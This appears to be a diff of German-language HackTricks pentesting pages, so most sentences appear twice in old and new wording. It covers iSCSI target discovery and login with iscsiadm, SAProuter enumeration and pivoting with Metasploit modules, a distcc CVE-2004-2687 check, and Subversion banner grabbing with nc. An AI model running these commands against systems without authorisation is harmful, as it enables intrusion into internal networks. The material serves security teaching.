2. Ändern Sie in `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` die Einstellung `node.conn[0].address`, um auf 123.123.123.123 anstelle von 192.168.1.2 zu verweisen. Dies kann mit einem Befehl wie `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` durchgeführt werden.
2. Ändern Sie innerhalb von `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` die Einstellung `node.conn[0].address`, um auf 123.123.123.123 anstelle von 192.168.1.2 zu verweisen. Dies kann mit einem Befehl wie `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` durchgeführt werden.
Sie können das Ziel nun gemäß den Anweisungen im Link einbinden.
Sie können das Ziel jetzt gemäß den Anweisungen im Link einbinden.
### [ISCSI unter Windows einbinden](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
@ -132,30 +63,30 @@ Sie können das Ziel nun gemäß den Anweisungen im Link einbinden.
```bash
sudo apt-get install open-iscsi
```
Beispiel aus [iscsiadm-Dokumentation](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Beispiel aus den [iscsiadm-Dokumenten](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Zunächst müssen Sie den Namen der **Ziele entdecken**, die sich hinter der IP-Adresse befinden:
Zuerst müssen Sie die **Zielnamen** hinter der IP entdecken:
```bash
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_Beachten Sie, dass es die I**P-Adresse und den Port der Schnittstellen** anzeigt, über die Sie diese **Ziele erreichen** können. Es kann sogar **interne IPs oder unterschiedliche IPs** von derjenigen anzeigen, die Sie verwendet haben._
_Beachten Sie, dass die I**P und den Port der Schnittstellen** angezeigt werden, über die Sie diese **Ziele** **erreichen** können. Es kann sogar **interne IPs oder andere IPs** anzeigen als die, die Sie verwendet haben._
Dann **fangen Sie den zweiten Teil des gedruckten Strings jeder Zeile** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ von der ersten Zeile) und **versuchen Sie sich anzumelden**:
Dann **fangen Sie den 2. Teil des gedruckten Strings jeder Zeile** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ aus der ersten Zeile) und **versuchen Sie sich anzumelden**:
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Dann kannst du dich mit `logout` **abmelden**.
Dann können Sie **logout** mit `logout` verwenden.
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Wir können **weitere Informationen** darüber finden, indem wir einfach **ohne** Verwendung eines `--login`/`--logout` Parameters vorgehen.
Wir können **mehr Informationen** darüber finden, indem wir einfach **ohne** irgendeinen `--login`/`--logout` Parameter verwenden.
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
# BEGIN RECORD 2.0-873
@ -231,7 +162,7 @@ node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD
```
**Es gibt ein Skript, um den grundlegenden Subnetz-Enumeration-Prozess zu automatisieren, das unter** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **verfügbar ist.**
**Es gibt ein Skript zur Automatisierung des grundlegenden Subnetz-Enumerationsprozesses, das verfügbar ist unter** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
## **Shodan**
@ -242,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,61 +1,64 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
## Verständnis der SAProuter-Penetration mit Metasploit
SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu kontrollieren. Es wird häufig über TCP-Port 3299 durch organisatorische Firewalls dem Internet zugänglich gemacht. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Penetrationstests, da es als Gateway zu hochwertigen internen Netzwerken dienen könnte.
SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu steuern. Es wird häufig dem Internet ausgesetzt, indem der TCP-Port 3299 durch die organisatorischen Firewalls zugelassen wird. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Pentesting, da es als Gateway zu wertvollen internen Netzwerken dienen könnte.
**Scannen und Informationsbeschaffung**
**Scannen und Informationssammlung**
Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP läuft, indem das Modul **sap_service_discovery** verwendet wird. Dieser Schritt ist entscheidend, um die Anwesenheit eines SAP-Routers und seines offenen Ports festzustellen.
Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP-Adresse läuft, indem das Modul **sap_service_discovery** verwendet wird. Dieser Schritt ist entscheidend, um die Präsenz eines SAP-Routers und seinen offenen Port festzustellen.
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
```
Nach der Entdeckung wird eine weitere Untersuchung der Konfiguration des SAP-Routers mit dem Modul **sap_router_info_request** durchgeführt, um möglicherweise interne Netzwerkinformationen aufzudecken.
Nach der Entdeckung wird eine weitere Untersuchung der Konfiguration des SAP-Routers mit dem **sap_router_info_request**-Modul durchgeführt, um möglicherweise interne Netzwerkdetails offenzulegen.
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
```
**Ermittlung interner Dienste**
**Auflisten interner Dienste**
Mit den erhaltenen Einblicken in das interne Netzwerk wird das Modul **sap_router_portscanner** verwendet, um interne Hosts und Dienste über den SAProuter zu sondieren und so ein tieferes Verständnis für interne Netzwerke und Servicekonfigurationen zu erlangen.
Mit den gewonnenen Einblicken in das interne Netzwerk wird das **sap_router_portscanner**-Modul verwendet, um interne Hosts und Dienste über den SAProuter zu untersuchen, was ein tieferes Verständnis der internen Netzwerke und Dienstkonfigurationen ermöglicht.
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
```
Dieses Modul bietet aufgrund seiner Flexibilität bei der gezielten Ausrichtung auf bestimmte SAP-Instanzen und Ports ein effektives Werkzeug für eine detaillierte interne Netzwerkerkundung.
Die Flexibilität dieses Moduls, spezifische SAP-Instanzen und Ports anzusprechen, macht es zu einem effektiven Werkzeug für eine detaillierte interne Netzwerkexploration.
**Erweiterte Enumeration und ACL-Mapping**
**Erweiterte Aufzählung und ACL-Abbildung**
Durch weitere Scans kann herausgefunden werden, wie die Zugriffskontrolllisten (ACLs) auf dem SAProuter konfiguriert sind und welche Verbindungen erlaubt oder blockiert werden. Diese Informationen sind entscheidend, um Sicherheitsrichtlinien und potenzielle Schwachstellen zu verstehen.
Weiteres Scannen kann aufzeigen, wie die Access Control Lists (ACLs) auf dem SAProuter konfiguriert sind, und detaillieren, welche Verbindungen erlaubt oder blockiert sind. Diese Informationen sind entscheidend für das Verständnis von Sicherheitsrichtlinien und potenziellen Schwachstellen.
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
```
**Blind Enumeration der internen Hosts**
**Blind Enumeration von internen Hosts**
In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie die blinde Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, um potenzielle Ziele ohne direkte IP-Adressen aufzudecken.
In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie die blinde Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, wodurch potenzielle Ziele ohne direkte IP-Adressen offengelegt werden.
**Nutzung von Informationen für Penetrationstests**
Nachdem das Netzwerk kartiert und zugängliche Dienste identifiziert wurden, können Penetrationstester die Proxy-Fähigkeiten von Metasploit nutzen, um über den SAProuter weiterhin interne SAP-Dienste zu erkunden und auszunutzen.
Nachdem das Netzwerk kartiert und zugängliche Dienste identifiziert wurden, können Penetrationstester die Proxy-Funktionen von Metasploit nutzen, um über den SAProuter weiter zu erkunden und interne SAP-Dienste auszunutzen.
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -63,9 +66,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
```
**Fazit**
Dieser Ansatz unterstreicht die Bedeutung einer sicheren Konfiguration von SAProuter und verdeutlicht das Potenzial für den Zugriff auf interne Netzwerke durch gezieltes Penetration Testing. Eine ordnungsgemäße Absicherung von SAP-Routern und das Verständnis ihrer Rolle in der Netzwerksicherheitsarchitektur sind entscheidend, um sich vor unbefugtem Zugriff zu schützen.
Dieser Ansatz unterstreicht die Bedeutung sicherer SAProuter-Konfigurationen und hebt das Potenzial hervor, über gezielte Penetrationstests auf interne Netzwerke zuzugreifen. Die ordnungsgemäße Sicherung von SAP-Routern und das Verständnis ihrer Rolle in der Netzwerksicherheitsarchitektur sind entscheidend, um sich gegen unbefugten Zugriff zu schützen.
Für weitere detaillierte Informationen zu Metasploit-Modulen und ihrer Verwendung besuchen Sie die [Datenbank von Rapid7](http://www.rapid7.com/db).
Für detailliertere Informationen zu Metasploit-Modulen und deren Verwendung besuchen Sie die [Datenbank von Rapid7](http://www.rapid7.com/db).
## **Referenzen**
@ -74,20 +77,21 @@ Für weitere detaillierte Informationen zu Metasploit-Modulen und ihrer Verwendu
## Shodan
* `port:3299 !HTTP Network packet too big`
* `port:3299 !HTTP Netzwerkpaket zu groß`
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
**Distcc** ist ein Tool, das den **Kompilierungsprozess** verbessert, indem es die **unbenutzte Rechenleistung** anderer Computer im Netzwerk nutzt. Wenn **distcc** auf einer Maschine eingerichtet ist, kann diese Maschine ihre **Kompilierungsaufgaben** an ein anderes System verteilen. Dieses Empfängersystem muss den **distccd-Daemon** ausführen und einen **kompatiblen Compiler** installiert haben, um den gesendeten Code zu verarbeiten.
**Distcc** ist ein Tool, das den **Kompilierungsprozess** verbessert, indem es die **unbenutzte Rechenleistung** anderer Computer im Netzwerk nutzt. Wenn **distcc** auf einem Rechner eingerichtet ist, kann dieser Rechner seine **Kompilierungsaufgaben** an ein anderes System verteilen. Dieses empfangende System muss den **distccd-Daemon** ausführen und einen **kompatiblen Compiler** installiert haben, um den gesendeten Code zu verarbeiten.
**Standardport:** 3632
```
PORT STATE SERVICE
3632/tcp open distccd
```
# Ausnutzung
# Exploitation
Überprüfen Sie, ob es anfällig für **CVE-2004-2687** ist, um beliebigen Code auszuführen:
```bash
@ -39,3 +40,19 @@ _Ich glaube nicht, dass Shodan diesen Dienst erkennt._
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
Beitrag erstellt von **Álex B (@r1p)**
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
**Subversion** ist ein zentrales **Versionskontrollsystem**, das eine entscheidende Rolle bei der Verwaltung von aktuellen und historischen Daten von Projekten spielt. Als **Open-Source**-Tool arbeitet es unter der **Apache-Lizenz**. Dieses System ist weithin anerkannt für seine Fähigkeiten in der **Software-Versionierung und -Versionskontrolle**, um sicherzustellen, dass Benutzer Änderungen im Laufe der Zeit effizient verfolgen können.
**Subversion** ist ein zentrales **Versionskontrollsystem**, das eine entscheidende Rolle bei der Verwaltung sowohl der aktuellen als auch der historischen Daten von Projekten spielt. Als **Open-Source**-Tool arbeitet es unter der **Apache-Lizenz**. Dieses System wird weithin für seine Fähigkeiten in der **Softwareversionierung und Versionskontrolle** anerkannt, die sicherstellen, dass Benutzer Änderungen im Laufe der Zeit effizient nachverfolgen können.
**Standardport:** 3690
```
@ -23,76 +24,27 @@ PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## Banner Grabbing
Banner Grabbing ist eine Technik, bei der Informationen über einen Dienst oder eine Anwendung gesammelt werden, indem der Begrüßungsbanner analysiert wird, der vom Server zurückgegeben wird. Dieser Banner enthält oft nützliche Informationen wie die Version der Software, die auf dem Server läuft, und andere Details, die für potenzielle Schwachstellen oder Angriffspunkte relevant sein können.
Es gibt verschiedene Tools, die für das Banner Grabbing verwendet werden können, wie z.B. Telnet, Netcat oder spezialisierte Banner Grabbing-Tools wie Bannergrab oder WhatWeb. Diese Tools ermöglichen es dem Angreifer, eine Verbindung zum Server herzustellen und den Begrüßungsbanner abzurufen, ohne dass eine Authentifizierung erforderlich ist.
Das Banner Grabbing kann bei der Pentest-Durchführung nützlich sein, um Informationen über den Zielserver zu sammeln und potenzielle Schwachstellen zu identifizieren. Es kann auch verwendet werden, um Informationen über die verwendete Softwareversion zu erhalten, um gezielte Angriffe durchzuführen oder Exploits zu entwickeln.
Es ist wichtig zu beachten, dass das Banner Grabbing in einigen Fällen als Angriff angesehen werden kann, insbesondere wenn es ohne Zustimmung des Eigentümers des Servers durchgeführt wird. Daher sollte es nur im Rahmen einer rechtmäßigen Pentest-Aktivität durchgeführt werden und immer mit Zustimmung des Eigentümers des Servers erfolgen.
```
nc -vn 10.10.10.10 3690
```
## Enumeration
Die Enumeration ist der erste Schritt bei der Pentest-Prüfung eines Subversion (SVN)-Servers. Sie ermöglicht es uns, Informationen über den Server und seine Konfiguration zu sammeln, um Schwachstellen zu identifizieren und potenzielle Angriffspunkte zu finden.
### 1. SVN-Version ermitteln
Um die Version des SVN-Servers zu ermitteln, können wir den Befehl `svn --version` verwenden. Dies gibt uns Informationen über die installierte SVN-Version und hilft uns, nach bekannten Schwachstellen zu suchen.
### 2. SVN-Repositorys erkunden
Wir können den Befehl `svn list` verwenden, um die verfügbaren Repositorys auf dem Server aufzulisten. Dies gibt uns einen Überblick über die vorhandenen Projekte und ermöglicht es uns, potenzielle Angriffsziele zu identifizieren.
### 3. SVN-Repositorys auschecken
Mit dem Befehl `svn checkout` können wir ein Repository auf unseren lokalen Rechner auschecken. Dies ermöglicht es uns, den Inhalt des Repositorys zu untersuchen und nach sensiblen Informationen wie Passwörtern oder Zugangsdaten zu suchen.
### 4. SVN-Log-Dateien überprüfen
Die Überprüfung der SVN-Log-Dateien kann uns wertvolle Informationen über die Aktivitäten auf dem Server liefern. Wir können den Befehl `svn log` verwenden, um die Log-Dateien anzuzeigen und nach verdächtigen Aktivitäten oder Anzeichen von Schwachstellen zu suchen.
### 5. SVN-Server-Konfiguration überprüfen
